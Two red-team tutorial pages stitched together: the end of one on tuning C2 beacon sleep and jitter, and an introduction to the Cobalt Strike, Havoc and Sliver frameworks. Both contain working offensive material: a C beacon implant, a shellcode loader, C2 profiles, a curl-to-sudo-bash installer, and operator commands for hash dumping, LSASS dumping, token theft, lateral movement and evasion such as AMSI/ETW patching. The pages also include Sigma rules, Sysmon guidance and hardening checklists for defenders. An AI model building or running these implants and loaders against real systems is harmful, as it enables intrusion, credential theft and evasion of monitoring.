A flat 30-second sleep for the entire engagement is operationally stupid. Real operators shift cadence by phase:
| Phase | Sleep | Jitter | Rationale |
|---|---|---|---|
| Initial access (0-72h) | 60-180s | 40-60% | Validate the foothold without flooding anomaly detection |
| Active lateral movement | 5-15s | 20-30% | Operator needs responsiveness during a session |
| Idle / persistence | 300-900s | 50-70% | Minimize traffic volume when no tasks are queued |
| Outside working hours | 600s+ or pause entirely | N/A | Workstations don’t phone home at 3 AM to random IPs |
Working-hours gating is simple to implement and dramatically reduces the beacon’s exposure window. We’ll add it to the lab implant in Step 6 below.
5. Protocol Selection and Traffic Shaping
The protocol you pick depends on what egress the target environment allows.
| Channel | When to use it | Detection surface |
|---|---|---|
HTTP/S (WinHttpOpen / WinHttpSendRequest) | Default; nearly always allowed outbound | JA3 fingerprint, header ordering, URI patterns, certificate inspection |
DNS (DnsQuery_A) | When HTTP egress is locked down; very slow | Sysmon EID 22; high query volume to a single domain; long subdomain labels |
| SMB named pipe | Peer-to-peer lateral within a network; no egress needed | Sysmon EID 17/18; default pipe names like msagent_* |
Raw TCP (connect / send / recv) | Custom protocols; rare in mature environments | Unusual ports; unrecognized protocol on wire |
For HTTP/S, the beacon’s User-Agent, header order, and TLS fingerprint matter. Out-of-the-box Go implants (Sliver) present a JA3 hash matching crypto/tls that public databases flag within days. Malleable C2 profiles exist to control all of this.
6. Lab: Build a Minimal C Beacon and Catch It
Lab Setup
- Attacker VM: Kali or Ubuntu with Python 3 + Flask installed. This runs the listener.
- Victim VM: Windows 10/11 with Sysmon installed (SwiftOnSecurity config), Wireshark running.
- Network: Host-only or NAT network. The two VMs can reach each other on TCP 8080.
Step 1: Write the Listener
from flask import Flask, request
import datetime, json
app = Flask(__name__)
@app.route("/api/v1/status", methods=["GET"])
def checkin():
ts = datetime.datetime.utcnow().isoformat()
ua = request.headers.get("User-Agent", "unknown")
print(f"[+] {ts} src={request.remote_addr} UA={ua}")
return json.dumps({"task": "none"}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
Start it: python3 listener.py. Every beacon check-in prints a timestamped line.
Step 2: Write the Implant
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
// ntdll imports
extern ULONG NTAPI RtlRandomEx(PULONG Seed);
typedef NTSTATUS (NTAPI *pfnNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);
DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
if (jitter_pct == 0) return base_ms;
DWORD range = (base_ms * jitter_pct) / 100;
DWORD rnd = RtlRandomEx(seed) % (range * 2 + 1);
return (base_ms - range) + rnd;
}
BOOL checkin(LPCWSTR host, INTERNET_PORT port, LPCWSTR path) {
HINTERNET hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) return FALSE;
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
if (!hConnect) { WinHttpCloseHandle(hSession); return FALSE; }
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
BOOL ok = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (ok) WinHttpReceiveResponse(hRequest, NULL);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return ok;
}
int main(void) {
DWORD base_ms = 30000; // 30-second base interval
DWORD jitter_pct = 25; // +/- 25%
ULONG seed = GetTickCount();
// Resolve NtDelayExecution for evasive sleep
pfnNtDelayExecution pDelay = (pfnNtDelayExecution)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");
while (1) {
checkin(L"192.168.56.10", 8080, L"/api/v1/status");
DWORD sleep_ms = compute_sleep(base_ms, jitter_pct, &seed);
if (pDelay) {
LARGE_INTEGER li;
li.QuadPart = -(LONGLONG)sleep_ms * 10000; // ms -> 100ns
pDelay(FALSE, &li);
} else {
Sleep(sleep_ms); // fallback
}
}
}
Step 3: Cross-Compile
x86_64-w64-mingw32-gcc beacon.c -o beacon.exe -lwinhttp -lntdll -mwindows
Copy beacon.exe to the Windows VM and run it. You should see check-in lines appearing on the listener console at roughly 22 to 37 second intervals (30s +/- 25%).
Step 4: Capture and Analyze Timing
On the victim VM, capture traffic with Wireshark or on the attacker side with tshark:
tshark -r beacon.pcapng -Y "http.request.method == GET" \
-T fields -e frame.time_relative -e http.host -e http.request.uri
Compute inter-arrival deltas. With 0% jitter (change the code, recompile, rerun) the delta column is a flat 30.0, 30.0, 30.0. Trivially detectable. With 25% jitter, you get 26.4, 33.1, 22.8, 29.7. Still detectable by statistical analysis, but no longer by a simple “fixed interval” rule.
Step 5: Add Working-Hours Gating
Insert this at the top of the while loop:
SYSTEMTIME st;
GetLocalTime(&st);
if (st.wHour < 9 || st.wHour >= 17) {
Sleep(600000); // 10-minute idle outside business hours
continue;
}
Now the beacon goes nearly silent outside 09:00 to 17:00. Rerun and confirm in the capture: traffic drops to one connection every 10 minutes after 5 PM.
Step 6: Feed to RITA
Export the capture as Zeek logs (or run Zeek directly on the attacker interface), then import:
zeek -r beacon.pcapng
rita import ./ lab_beacon
rita show-beacons lab_beacon
RITA scores beaconing by analyzing connection frequency, byte-count regularity, and interval consistency. Even with 25% jitter, our beacon scores high because the byte counts are uniform and the connection count is elevated. The data_jitter concept (padding responses with random null bytes) exists specifically to defeat this byte-count analysis.
7. Cobalt Strike Malleable C2 Profiles: Field-by-Field
A Malleable C2 profile controls every byte of beacon traffic. The key global fields:
set sleeptime "60000"; # ms between check-ins
set jitter "37"; # percentage variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "128"; # random null-byte padding on responses (bytes)
set maxdns "255"; # max DNS label length for DNS beacons
set pipename "msagent_###"; # SMB pipe name; ### = random hex
set sleep_mask "true"; # obfuscate beacon in-memory during sleep
The profile then defines http-get and http-post blocks that control the request/response structure:
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
metadata {
base64url;
header "Cookie"; # encoded host metadata goes into Cookie header
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print; # task data in response body
}
}
}
Metadata encoding options are base64, base64url, netbios, and netbiosu. Termination statements (where to place the encoded data) are print (body), header, parameter, and uri-append.
Validate every profile with c2lint before loading. A profile that fails c2lint can break staging or cause the beacon to crash on check-in. I have seen profiles pass c2lint on 4.5 and silently break on 4.7 because of tightened validation, so always test against the exact version you’re running.
8. Defensive Strategies and Detection
Sysmon Event IDs
| Event ID | Name | What to hunt |
|---|---|---|
| 3 | Network Connection | Periodic outbound from unusual processes; correlate Image, DestinationIp, DestinationPort |
| 1 | Process Creation | Beacon process lineage; download cradle command lines |
| 22 | DNS Query | High-volume queries to a single domain; long subdomain labels (DNS beaconing) |
| 17 | Pipe Created | Named pipes matching Cobalt Strike defaults (msagent_*, postex_*) |
| 18 | Pipe Connected | Connections to suspicious pipes (SMB lateral C2) |
Sigma Rule: Periodic Outbound from LOLBin
title: Periodic Outbound HTTP from Script Host or LOLBin
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
Initiated: 'true'
Image|endswith:
- '\rundll32.exe'
- '\regsvr32.exe'
- '\mshta.exe'
- '\wscript.exe'
- '\cscript.exe'
DestinationPort:
- 80
- 443
- 8080
- 8443
condition: selection
# In practice, pair with SIEM aggregation: count() by Image, DestinationIp > 10 in 1h
falsepositives:
- Legitimate update mechanisms
level: medium
tags:
- attack.command_and_control
- attack.t1071.001
Note: the count() by ... > 10 aggregation requires SIEM-level correlation (Elastic EQL, Splunk stats, or Sentinel KQL). Pure Sigma handles the filter; the aggregation is a SIEM rule on top.
ETW Providers Worth Enabling
| Provider | What it gives you |
|---|---|
Microsoft-Windows-WinHttp | Full WinHTTP request lifecycle, catches WinHttpSendRequest calls |
Microsoft-Windows-DNS-Client | DNS queries at the resolver level; pairs with Sysmon EID 22 |
Microsoft-Windows-TCPIP | TCP state changes for raw-socket beacons |
Network-Level Detection
RITA (rita show-beacons) remains the single most effective tool for identifying beaconing in Zeek logs. It scores connections by interval regularity, byte-count consistency, and connection count. Even heavily jittered beacons with uniform response sizes score high.
JA3/JA3S fingerprinting catches default TLS stacks. Compare hashes against ja3er.com; a Go crypto/tls fingerprint from a process that isn’t a known Go application is a strong signal.
Hardening Checklist
- Block direct-to-internet TCP 80/443 from non-browser processes at the firewall.
- Perform TLS inspection at the proxy; flag unknown JA3 hashes.
- Sinkhole domains registered fewer than 30 days ago via DNS RPZ.
- Hunt for Cobalt Strike default pipe names with Sysmon EID 17.
- Baseline outbound connections by hour; alert on after-hours traffic to uncategorized destinations.
- Run pe-sieve or Moneta periodically to detect RWX regions characteristic of in-memory beacons, even when
sleep_maskis enabled.

9. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Web Protocols (HTTP/S beaconing) | T1071.001 | Sysmon EID 3, proxy logs, RITA |
| DNS (DNS beaconing) | T1071.004 | Sysmon EID 22, DNS query volume analysis |
| Encrypted Channel | T1573 | JA3 fingerprinting, TLS inspection |
| Standard Encoding (Base64 in headers) | T1132.001 | Payload inspection at proxy |
| Non-Standard Encoding (netbios encoding) | T1132.002 | Deep packet inspection |
| Domain Fronting | T1090.004 | CDN log correlation, SNI vs Host header mismatch |
| Non-Application Layer Protocol | T1095 | Firewall logs, protocol anomaly detection |
10. Tools
| Tool | Description | Link |
|---|---|---|
| RITA | Beacon detection via Zeek log analysis | github.com/activecm/rita |
| Zeek | Network traffic analysis; generates conn.log for timing analysis | zeek.org |
| Wireshark / tshark | Packet capture and protocol dissection | wireshark.org |
| Sysmon | Windows system monitor; EID 3/17/22 are critical | docs.microsoft.com |
| pe-sieve | In-memory beacon detection; scans for suspicious PE regions | github.com/hasherezade/pe-sieve |
| Moneta | Memory scanner for RWX regions and beacon artifacts | github.com/forrest-orr/moneta |
| ja3er.com | JA3 fingerprint database for TLS client identification | ja3er.com |
| c2lint | Cobalt Strike profile validator | Bundled with Cobalt Strike |
| x86_64-w64-mingw32-gcc | MinGW cross-compiler for building Windows implants on Linux | mingw-w64.org |
Summary
- A beacon is a timed loop: wake, check in, sleep. The sleep interval, jitter percentage, and protocol choice determine how long it survives.
- Zero-percent jitter is an instant detection. Even moderate jitter (25%) gets caught by RITA’s statistical scoring. Combine high jitter (40%+) with
data_jitter(variable response padding) and working-hours gating to reduce exposure. NtDelayExecutionreplacesSleepto dodge kernel32 hooks, but the network traffic pattern remains the real detection surface.- Malleable C2 profiles control every byte on the wire:
sleeptime,jitter,data_jitter, User-Agent, header ordering, metadata encoding, and pipe names. Always validate withc2lint. - Defenders win by correlating layers: Sysmon EID 3 (network connections) and EID 22 (DNS queries) on the host, RITA and JA3 fingerprinting on the network, and pe-sieve/Moneta in memory. No single layer catches everything, but stacking them makes sustained beaconing very expensive for the operator.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Finding the EIP Offset: Pattern Creation and Cyclic Patterns
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
Introduction to C2 Frameworks: Cobalt Strike, Havoc, and Sliver
You’ve got initial access. A shellcode loader ran, a callback lit up your listener, and now a beacon is sleeping on a Windows Server VM waiting for orders. What actually happens between “I have a session” and “I have DA” is where a Command and Control framework earns its keep. This tutorial walks through the three that matter today, Cobalt Strike, Havoc, and Sliver, from architecture down to real operator commands run against a lab range. I’ll show you where each one shines, where the defender picks it up, and how to reproduce every step yourself.
A quick point of view up front: pick the framework that fits the objective, not the other way around. Cobalt Strike is still the gold standard for mature red team ops because of its BOF ecosystem and malleable profiles, but it costs real money and its default artifacts are the most heavily signatured in the industry. Havoc is what happens when someone writes a modern open-source implant with genuine evasion tradecraft baked in (Ekko sleep, indirect syscalls, hardware breakpoint AMSI patching). Sliver is the boring, reliable workhorse: cross-platform Go, mTLS by default, gRPC multiplayer that just works. You’ll want all three in muscle memory.
1. What a C2 Framework Actually Is
A C2 framework is three things glued together: a team server the operator controls, an implant running on the target, and a listener protocol that ferries tasks and results between them. Everything else (profiles, BOFs, pivoting, sleep obfuscation) is a feature layered on top of that triangle.
| Term | What it actually does |
|---|---|
| Team Server | Attacker-side hub that accepts operator clients, hosts listeners, queues tasks, and receives implant callbacks |
| Implant / Agent | The code running on the target, calling home on a schedule or persistent socket |
| Listener | Server-side handler bound to a port and protocol (HTTP, HTTPS, DNS, SMB pipe, mTLS, WireGuard) |
| Beacon mode | Implant sleeps, wakes on interval, fetches tasks, executes, returns to sleep. Asynchronous |
| Session mode | Persistent interactive connection. Synchronous, real-time, easier to catch |
| Staging | Small initial shellcode pulls the full implant from the C2 over the wire |
| Stageless | Full implant embedded in the first payload. Larger, but no second-stage network fetch |
| Malleable / Yaotl profile | Operator-authored config controlling HTTP shape, headers, URIs, sleep, jitter, evasion knobs |
| Jitter | Randomization percentage on sleep. Breaks the periodic beacon rhythm that netflow analytics love |
| BOF (Beacon Object File) | Small position-independent COFF executed in-process. No child process artifacts |
| Redirector | Nginx or Apache in front of the team server, so the implant never touches the real C2 IP |
Two concepts do most of the work in operator tradecraft: the beacon/session split (how loud you are on the wire) and the profile (what your traffic looks like when it does go out). Get those two right and half the detection surface disappears.

2. Lab Topology
Nothing here goes on the internet. Everything is host-only, reset from snapshots between runs.
| Component | Specification |
|---|---|
| Attacker VM | Kali 2024.x or Ubuntu 22.04, 4 GB RAM, host-only network |
| Victim VM | Windows Server 2022 Evaluation, Defender off for the first exercises, re-enabled for evasion runs |
| Monitoring | Sysmon v15 with SwiftOnSecurity config, Winlogbeat forwarding to Elastic + Kibana on the attacker box (or a third VM) |
| Network | Single host-only subnet, e.g. 192.168.56.0/24. Attacker .10, victim .20 |
Install Sysmon on the victim before you start anything:
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "C:\Tools\Sysmon.zip"
Expand-Archive C:\Tools\Sysmon.zip -DestinationPath C:\Tools\Sysmon
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" -OutFile C:\Tools\Sysmon\sysmon.xml
C:\Tools\Sysmon\Sysmon64.exe -accepteula -i C:\Tools\Sysmon\sysmon.xml
Confirm the service is up with Get-Service Sysmon64 and open Applications and Services Logs > Microsoft > Windows > Sysmon > Operational in Event Viewer. Every screenshot in this tutorial assumes those events are flowing.
3. Cobalt Strike Architecture
Cobalt Strike was written by Raphael Mudge in 2012 and is now maintained by Fortra. The whole product is a single Java JAR that runs as either a team server or a client depending on arguments. The team server listens on TCP 50050 for operator clients by default and hosts one or more listeners for beacon callbacks.
The Beacon implant is the crown jewel. It is in-memory, reflectively loaded shellcode that supports HTTP, HTTPS, DNS, SMB named pipes, and forward/reverse TCP. Beacons can daisy-chain, meaning a beacon on host A can proxy the C2 traffic of a beacon on host B through an SMB pipe. That is how internal networks with tight egress rules get fully covered from a single external callback.
Configuration lives in Malleable C2 profiles. This is the file that decides what a Beacon HTTP request looks like on the wire. Change the URI, forge the headers, encode the tasks inside a fake image, tune the sleep. The .cobaltstrike.beacon_keys file in the team server directory holds the RSA keypair. If two Beacons decrypt with the same public key, they came from the same keystore, which is exactly what threat intel teams pivot on when they cluster CS infrastructure.
The extensibility story is Aggressor Script (.cna files, a Java-like DSL) for automation and the Artifact Kit for building custom shellcode loaders when Fortra’s defaults get signatured (they always do).
| Component | Purpose |
|---|---|
teamserver | Bash wrapper that launches the JAR in server mode on TCP 50050 |
cobaltstrike (client) | Same JAR, GUI mode, connects to team server |
| Beacon | In-memory implant, staged or stageless |
| Malleable C2 profile | Wire-shape and sleep configuration |
| Aggressor Script | .cna scripts extending the client and Beacon |
| Artifact Kit | Source project for custom loader/shellcode wrappers |
| ExternalC2 | Named-pipe API for third-party transports |
MITRE tracks Cobalt Strike as S0154 and lists over 30 named threat groups actively abusing cracked copies. Every default artifact this framework emits, pipe names, spawn-to processes, JARM fingerprints, is public knowledge. Assume the blue team knows all of them.
4. Cobalt Strike Hands-On
Assuming a licensed copy in ~/cobaltstrike/, on the attacker VM:
cd ~/cobaltstrike
sudo ./teamserver 192.168.56.10 'LabPassw0rd!' ./profiles/webbug_getonly.profile
# Team server binds TCP 50050 for the client
./cobaltstrike client &
Connect the client to 192.168.56.10:50050. In the GUI: Cobalt Strike > Listeners > Add, pick windows/beacon_https, host 192.168.56.10, port 443.
Generate a stageless raw shellcode payload: Attacks > Packages > Windows Stageless Payload > x64 > Raw > Save as beacon.bin.
Now the lab loader. This is the classic four-API shellcode runner (VirtualAlloc, RtlCopyMemory, VirtualProtect, CreateThread). Compile with mingw on Kali:
// loader.c - lab shellcode runner. Not production. Not evasion-grade.
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
if (argc != 2) { printf("usage: %s beacon.bin\n", argv[0]); return 1; }
FILE* f = fopen(argv[1], "rb");
fseek(f, 0, SEEK_END); long sz = ftell(f); rewind(f);
unsigned char* sc = (unsigned char*)malloc(sz);
fread(sc, 1, sz, f); fclose(f);
LPVOID mem = VirtualAlloc(NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlCopyMemory(mem, sc, sz);
DWORD oldp = 0;
VirtualProtect(mem, sz, PAGE_EXECUTE_READ, &oldp);
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
WaitForSingleObject(h, INFINITE);
return 0;
}
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s
# Transfer loader.exe + beacon.bin to the victim VM
Run loader.exe beacon.bin on the victim. Within one sleep cycle the Beacon appears in the client. Right-click, Interact, and drive it:
beacon> sleep 5 20
beacon> shell whoami /all
beacon> ps
beacon> inject 4728 x64 https_listener
beacon> hashdump
beacon> jump psexec64 WIN-DC01 https_listener
beacon> link 192.168.56.30 status_9c1a
The link at the end is the SMB pipe peer beacon. From now on the beacon on 192.168.56.30 egresses through the first host. No new outbound connection appears from the internal box, which is exactly the point.
The Malleable knobs that matter most:
set sleeptime "5000";
set jitter "20";
http-get {
set uri "/updates";
client {
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
metadata { base64url; prepend "session="; header "Cookie"; }
}
}
http-post { set uri "/submit.php"; }
Change the URI, and half the community Sigma rules stop firing. Change the pipe names in stage.smb_frame_header and default pipe rules go blind too. That is the whole point of malleable configs, and it is also why blue teams rely less on static signatures than they used to.
5. Havoc Framework Architecture
Havoc was released in October 2022 by C5pider. The team server is Go with an encrypted WebSocket operator channel, and the client is a Qt GUI. The implant is called the Demon. It is written in C and assembly, ships as EXE, DLL, or raw shellcode, and communicates over HTTP(S) or SMB.
Two things make Havoc feel different from CS. First, evasion is a first-class citizen. It supports sleep obfuscation with Ekko, Ziliean, and FOLIAGE. Ekko encrypts the Demon’s memory region during sleep by kicking off a ROP chain via legitimate Windows timers, so a memory scanner that catches idle beacons finds ciphertext. It also does indirect syscalls (HellsGate/HalosGate style, resolving Nt* syscall numbers at runtime and issuing the syscall stub itself), stack duplication during sleep, and AMSI/ETW patching via hardware breakpoints (setting a DR register on AmsiScanBuffer or EtwEventWrite and using a vectored exception handler to short-circuit the call). None of that is exotic in 2024, but Havoc integrates it in one place.
Second, the wire protocol is a custom binary format with AES-256 encryption and a distinctive magic value dead beef in the first bytes of a Demon callback. That magic is a fingerprint if a defender is doing any deep packet inspection.
| Component | Technical Detail |
|---|---|
| Teamserver | Go binary, encrypted WebSocket to clients |
| Client | Qt GUI |
| Demon | C/ASM implant. EXE/DLL/shellcode outputs |
| Wire protocol | Custom binary, AES-256, magic 0xdeadbeef |
DemonConfig() | Parses config values baked into the .data section |
DemonRoutine() | Main loop: connect, task, execute, sleep |
| Yaotl profile | .yaotl file, wire shape and evasion knobs |
| Sleep obfuscation | Ekko, Ziliean, FOLIAGE |
| Syscalls | Indirect syscalls with return-address spoofing |
| BOFs | Executed in-process, no child process artifacts |
| Token vault | In-agent memory storage of stolen tokens |
Payload generation on the team server side uses mingw-w64 cross-compilers and NASM, which means every Demon is compiled fresh, at generation time, against your config. That kills a whole class of static hash-based signatures.

6. Havoc Hands-On
Build and start:
git clone https://github.com/HavocFramework/Havoc && cd Havoc
sudo apt install -y mingw-w64 nasm python3-dev qtbase5-dev libqt5websockets5-dev
make ts-build && make client-build
Yaotl profile (havoc.yaotl) with the evasion knobs turned on:
Teamserver {
Host = "0.0.0.0"
Port = 40056
}
Listeners {
Http {
Name = "https-lab"
Hosts = [ "192.168.56.10" ]
Port = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
}
Demon {
Sleep = 5
Jitter = 30
Injection {
Technique = "Ekko"
Spawn64 = "C:\\Windows\\System32\\svchost.exe"
}
}
sudo ./havoc server --profile havoc.yaotl
./havoc client # in another terminal, connect to 192.168.56.10:40056
In the GUI: Payload > Generate > Demon, format Shellcode, arch x64, listener https-lab, save as demon.bin.
Reuse the same loader.c from the CS section. Copy loader.exe and demon.bin to the victim, run it, and watch the Demon check in. The first 4 bytes of that HTTPS body decrypt to 0xDEADBEEF. Blue side: this is your JA3/JA4 client-hello + payload-magic combo detection.
Drive it:
demon> sysinfo
demon> ps
demon> shell whoami
demon> token steal 640
demon> token list
demon> inject spawn 4432 /root/loot/stage2.bin
demon> dotnet inline-execute /opt/tools/Seatbelt.exe -group=all
demon> bof /opt/bofs/dir-list.o C:\\Users
demon> spawndll 2648 /root/loot/demon.dll
bof is the important one to internalize. Havoc executes Beacon Object Files (Cobalt Strike’s BOF format) directly in-process. No rundll32, no cmd.exe, no child process telemetry, which means Sysmon EID 1 detections for enumeration commands go dark. dotnet inline-execute does the same thing for .NET assemblies, roughly equivalent to CS execute-assembly.
The Python API bridge lets you hook agent checkins:
# hook_checkin.py loaded via Havoc's Python extension interface
def on_agent_checkin(agent):
print(f"[+] new demon: {agent.NameID} on {agent.Hostname}")
agent.console_task("shell whoami")
A short war story: the first time I ran Ekko sleep against a memory scanner in the lab, I still got caught, because I forgot the loader itself allocated an RWX region that never got re-protected. Ekko encrypts the Demon’s own image, not the parent loader’s leftovers. The lesson is that a good implant sitting inside a stupid loader still burns. Fix the loader.
7. Sliver Architecture
Sliver comes from Bishop Fox and is written entirely in Go. The server binary manages a BoltDB instance (sliver.db) for implant configs, tasks, and loot. Operators talk to it over mTLS/gRPC. Every implant is compiled at generation time with per-binary asymmetric encryption keys, so cross-implant key reuse (the CS beacon_keys clustering trick) does not work against Sliver.
Transports: HTTP, HTTPS, mTLS (default port 8888), DNS, and WireGuard. WireGuard is worth calling out. The implant brings up the WG tunnel only during check-in, exchanges tasks, tears it down. To network monitoring it looks like brief encrypted UDP bursts to a single peer.
Two modes: Beacon (async, quiet) and Session (persistent, interactive). You can promote a beacon to a session mid-op with interactive and back with background.
| Component | Purpose |
|---|---|
sliver-server | Go binary, gRPC + BoltDB + listener host |
sliver-client | mTLS/gRPC operator client |
| Implant | Statically compiled Go binary (~16 MB) or raw shellcode |
| Transports | mTLS, HTTP(S), DNS, WireGuard |
| Canary domains | Compile-time domains that trip external DNS if a defender reverses the implant |
| Armory | Package manager for BOFs and extensions |
| SOCKS5 | Built-in socks5 start command for pivoting |
| Stagers | Interop with msfvenom via stage-listener |
Canary domains are a nice defender concession by Bishop Fox: bake a unique domain into the implant at generate-time, and if that domain ever resolves against your DNS, someone reversed your implant. It flips the informational asymmetry.

8. Sliver Hands-On
Install and launch:
curl https://sliver.sh/install | sudo bash
sudo sliver-server
Inside the console:
[server] sliver > mtls --lport 8888
[server] sliver > generate beacon \
--mtls 192.168.56.10:8888 \
--os windows --arch amd64 \
--format exe \
--seconds 30 --jitter 20 \
--evasion \
--save /tmp/beacon.exe
[server] sliver > generate beacon \
--mtls 192.168.56.10:8888 \
--os windows --arch amd64 \
--format shellcode \
--save /tmp/beacon.bin
The --format shellcode output is raw PIC you feed into the same lab loader. The .exe output is 16 MB of statically-compiled Go, which is huge and obvious. In real ops you almost always want the shellcode variant loaded from a smaller stub, not the raw exe.
Deliver and interact:
[server] sliver > beacons
[server] sliver > use 2c14a2f0
[beacon] sliver > whoami
[beacon] sliver > ps -T
[beacon] sliver > ls C:\\Users
[beacon] sliver > interactive
[session] sliver > shell
[session] sliver > socks5 start --lport 1080
[session] sliver > wg-portfwd add --remote 192.168.56.30:3389
socks5 gives you a local SOCKS proxy on 127.0.0.1:1080 on the attacker box. Point proxychains at it and pivot BloodHound, impacket-secretsdump, whatever, through the implant.
Armory is Sliver’s package manager for community extensions:
[server] sliver > armory install all
[beacon] sliver > sa-whoami
[beacon] sliver > nanodump --pid 660 --write C:\\Windows\\Temp\\dump.dmp
For staged delivery from Metasploit, Sliver plays nicely:
msfvenom -p windows/x64/custom/reverse_winhttp \
LHOST=192.168.56.10 LPORT=9999 -f exe -o stager.exe
[server] sliver > profiles new --mtls 192.168.56.10:8888 --format shellcode win-x64
[server] sliver > stage-listener --url http://192.168.56.10:9999 --profile win-x64
The msfvenom stager pulls the Sliver implant shellcode over HTTP and reflectively loads it. Small first stage, full implant delivered on demand.
9. Framework Comparison
| Feature | Cobalt Strike | Havoc | Sliver |
|---|---|---|---|
| License | Commercial (Fortra) | Open source | Open source |
| Language | Java (server/client), C (Beacon) | Go, C++, Qt, C/ASM | Go |
| Transports | HTTP(S), DNS, SMB pipe, TCP | HTTP(S), SMB | mTLS, HTTP(S), DNS, WireGuard |
| Default operator port | TCP 50050 | TCP 40056 (configurable) | TCP 31337 (configurable) |
| Sleep obfuscation | Via BOF (community) | Ekko / Ziliean / FOLIAGE built-in | --evasion flag, community |
| Indirect syscalls | Via BOF | Built-in | Community modules |
| BOF support | Native (invented it) | Native | Via Armory (COFFLoader) |
| Scripting | Aggressor .cna | Python API | Go extensions, aliases |
| Detection profile | Highest (most signatured) | Moderate, evolving | Moderate, well-studied |
| MITRE Software ID | S0154 | Not catalogued | S0633 |
Rough operator heuristic: if the engagement demands the strongest post-ex ergonomics and a proper Aggressor-driven workflow, Cobalt Strike still wins. If you need modern evasion out of the box on a zero-budget engagement, Havoc. If you need cross-platform reach and quiet transports (WireGuard, mTLS), Sliver.
10. Common Attacker Techniques
| Technique | Description |
|---|---|
| Reflective loader / in-memory implant | Shellcode maps a PE into RWX/RX memory without touching disk |
| BOF execution | COFF object runs in the implant’s own process, no child artifacts |
| Named pipe pivot | Peer beacon on \\.\pipe\<name> egresses through parent implant, no new outbound |
| Token theft / impersonation | steal_token / make_token for lateral movement as another user |
| execute-assembly / dotnet inline-execute | Load .NET assembly in-process to run offensive C# tooling |
| Sleep obfuscation (Ekko) | ROP-timer chain encrypts implant memory while sleeping |
| Indirect syscalls (HellsGate) | Resolve Nt* SSNs at runtime, bypass user-mode API hooks |
| AMSI/ETW patching | Hardware breakpoints or memory patch to blind runtime telemetry |
| DNS C2 | Encrypted task data smuggled in TXT / A record queries |
| SOCKS5 pivoting | Turn the implant into a network proxy for the operator’s tools |
11. Detection and Defense
11.1 Sysmon Signals to Watch
| Event ID | What C2 activity produces it |
|---|---|
| 1 (Process Create) | Weird parent-child (svchost.exe -> cmd.exe), spawn-to processes from Beacon, rundll32 with no DLL args |
| 3 (Network Connect) | Periodic outbound from LOLBins (rundll32.exe, regsvr32.exe, msbuild.exe), non-standard ports |
| 7 (Image Load) | Unsigned or anomalous DLLs into common processes |
| 8 (CreateRemoteThread) | Classic injection, source and target process mismatch |
| 10 (Process Access) | TargetImage: lsass.exe with GrantedAccess: 0x1010 or 0x1410 |
| 17/18 (Pipe Created/Connected) | Default Cobalt Strike pipes (MSSE-*, postex_*, status_*, msagent_*) or Havoc UUID-named pipes |
| 22 (DNS Query) | High-entropy subdomains, high query volume to a single zone (Sliver DNS C2 is loud) |
11.2 Sigma Rule for Beaconing LOLBins
title: Suspicious Periodic Network Connect From LOLBin
id: 8a1d6c50-2c9c-4d1d-9b8f-3c9a7fb1c1b5
logsource:
product: windows
category: network_connection
detection:
selection:
Initiated: 'true'
Image|endswith:
- '\rundll32.exe'
- '\regsvr32.exe'
- '\msbuild.exe'
- '\svchost.exe'
DestinationPort|not:
- 80
- 443
- 53
condition: selection
level: high
11.3 Sigma Rule for Cobalt Strike Default Pipes
title: Cobalt Strike Default Named Pipe Pattern
id: 5f0f30b1-8e19-4d20-bd88-1c9b7b5c11ec
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 17
PipeName|startswith:
- '\MSSE-'
- '\postex_'
- '\status_'
- '\msagent_'
condition: selection
level: high
11.4 ETW and Audit Policy
- Enable Audit Process Creation with command-line inclusion (
Detailed Tracking > Include command line). - Turn on PowerShell Script Block Logging (EID 4104) and Module Logging.
- Subscribe an EDR or custom agent to
Microsoft-Windows-Threat-IntelligenceforNtAllocateVirtualMemory/NtWriteVirtualMemoryevents. This is where in-process shellcode staging is most visible. - Watch
Microsoft-Windows-DotNETRuntimefor reflective assembly loads (catches CSexecute-assemblyand Havocdotnet inline-executeif AMSI has not been blinded first).
11.5 Network-Level Detection
- JARM fingerprint scan across egress destinations. Cobalt Strike team server JARM hashes are publicly documented.
- DNS query volume analytics. DNS C2 leaks by throughput because of the 254-char subdomain encoding limit.
- Egress proxy with TLS inspection. Plain-HTTP C2 dies on inspection; TLS C2 at least surfaces SNI, certificate CN, and request cadence.
11.6 Hardening
